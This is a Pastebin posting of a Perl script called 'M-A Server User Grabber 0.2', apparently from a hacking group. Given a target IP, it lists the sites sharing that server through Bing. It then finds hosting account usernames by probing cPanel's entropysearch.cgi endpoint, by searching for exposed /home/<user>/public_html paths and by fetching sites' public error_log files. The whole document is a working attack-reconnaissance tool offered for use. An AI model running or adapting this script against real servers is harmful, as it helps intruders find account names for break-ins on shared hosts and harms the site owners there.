Advertisement
m-a_labz

M-A Server User Grabber 0.2

Aug 24th, 2013
472
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.17 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # M-A_labz project
  4. # gr33tz : b0y h4ck3r , Mr_Anarshi-T
  5. # H0m3 "WwW.SeC4EvEr.CoM"
  6. #
  7. # check for error using $ip public_html & scan for error_log
  8. # to check if user exist /cgi-sys/entropysearch.cgi?user=
  9.  
  10. use HTTP::Request;
  11. use Win32::Console::ANSI;
  12. use LWP::Simple;
  13. use Term::ANSIColor;
  14. ## Conf
  15. print color ("bold white"), "\n[+] M-A Server User Grabber 0.2 \n";
  16. print color 'reset';
  17. print color ("red"), "\n[+] Enter IP : ";
  18. print color 'reset';
  19. $ip=<STDIN>;
  20. chomp($ip);
  21. ## Start Grabbing from bing Basing on ip
  22. my $page = 0;
  23.                 print color("green"), "[+] Working on $ip\n";
  24.                 print color 'reset';
  25.         while (1) {
  26.  
  27.                 my $content = get("http://www.bing.com/search?q=ip%3A$ip&first=$page&FORM=PERE") or die("Error while reversing\n");
  28.                 my $status = keys %group;
  29.                 while ( $content =~ /<cite>[:\/\/]*([\w\.\-]+)[\w+\/\.\-_:\?=]*<\/cite>/g) {
  30.                         $group{$1} = undef;
  31.                 }
  32.                 last if ($status == keys %group);
  33.                 $page = $page + 10;
  34.                 }
  35.         open (rev,">result-$ip.txt");
  36.         foreach my $host (keys %group) {
  37.         print rev "$host\n";
  38.         }
  39.         close(rev);
  40.         print color("green"),  "[+] D0ne Grabbing Sites\n";
  41.         print color 'reset';
  42.  
  43. ## start parsing users
  44. print color("green"),  "[+] Start Users Listing ...\n\n";
  45. print color 'reset';
  46. ## sort sites list
  47. system("cp result-$ip.txt result-sites-$ip.txt");
  48. system("sed -e \"s/www.//g\" result-$ip.txt > tt2.txt");
  49. system("rm -rf result-$ip.txt");
  50. system("sed -e \"s/\\.//g\" tt2.txt > tt3.txt");
  51. system("rm -rf tt2.txt");
  52. system("sed -e \"s/-//g\" tt3.txt > result-$ip.txt");
  53. system("rm -rf tt3.txt");
  54.  
  55. sleep 0.1;
  56. ## get first 8 char of each site
  57. system("cut -c-8 result-$ip.txt > users-$ip.txt");
  58. ##
  59. open (file2, "<users-$ip.txt") || die "[-] Can't Open Users List !";
  60. my @users = <file2>;
  61. close file2;
  62. foreach my $user (@users) {
  63. chomp $user;
  64.  
  65. my $check = "http://$ip/cgi-sys/entropysearch.cgi?user=$user";
  66. my $reqcheck=HTTP::Request->new(GET=>$check);
  67. my $uacheck=LWP::UserAgent->new();
  68. $uacheck->timeout(5);
  69. my $responsecheck=$uacheck->request($reqcheck);
  70.  
  71. if ($responsecheck->content=~ /$user/)
  72. {
  73. print color("yellow"), "[+] User Found : $user\n";
  74. print color 'reset';
  75. open(TN,">>$ip-users-1.txt");
  76. print TN "$user\n";
  77. close(TN);
  78. }
  79. }
  80. sleep 0.2;
  81. ## check from public_html
  82. print color("green"), "[+] Start Grapping from dork ...\n";
  83. print color 'reset';
  84. users();
  85. sub users {
  86. my $page = 0;
  87.         while (1) {
  88.  
  89.                 my $content2 = get("http://www.bing.com/search?q=ip%3A$ip+%2Fpublic_html%2F&first=$page&FORM=PERE") or die("Error while reversing\n");
  90.                 my $status2 = keys %group2;
  91.                 while ( $content2 =~ m/\/home\/(.*?)\/<strong>/g)
  92.                 {
  93.                         $group2{$1} = undef
  94.                 }
  95.                 last if ($status2 == keys %group2);
  96.                 $page = $page + 10;
  97.                 }
  98.         open (rev2,">result-1-$ip.txt");
  99.         foreach my $host2 (keys %group2) {
  100.         print color("yellow"), "[+] User Found : $host2\n";
  101. print color 'reset';
  102.         print rev2 "$host2\n";
  103.         }
  104.         close(rev2);
  105.         }
  106. ## open result-sites-$ip.txt to check error_log
  107. open (file3, "<result-sites-$ip.txt") || die "[-] Can't Open Site List !";
  108. my @sites = <file3>;
  109. close file3;
  110. print color("green"), "[+] Start error_log scanning ...\n";
  111. print color 'reset';
  112. foreach my $site (@sites) {
  113. chomp $site;
  114. my $checklog = "http://$site/error_log";
  115. my $reqchecklog=HTTP::Request->new(GET=>$checklog);
  116. my $uachecklog=LWP::UserAgent->new();
  117. $uachecklog->timeout(5);
  118. my $responsechecklog=$uachecklog->request($reqchecklog);
  119. if ($responsechecklog->content=~ m/\/home\/(.*?)\/public_html/g)
  120. {
  121. print color("yellow"), "[+] User Found : $1\n";
  122. print color 'reset';
  123. open(TN,">>$ip-users-2.txt");
  124. print TN "$1\n";
  125. close(TN);
  126. }
  127. }
  128. ## sort & clean
  129.  if (-e "$ip-users-2.txt") {
  130. system("cat $ip-users-1.txt $ip-users-2.txt > $ip-users.txt");
  131. }else{
  132. system("mv $ip-users-1.txt $ip-users.txt");
  133. }
  134. system("rm -rf users-$ip.txt && rm -rf result-$ip.txt && rm -rf $ip-users-1.txt && rm -rf $ip-users-2.txt && rm -rf result-1-$ip.txt");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement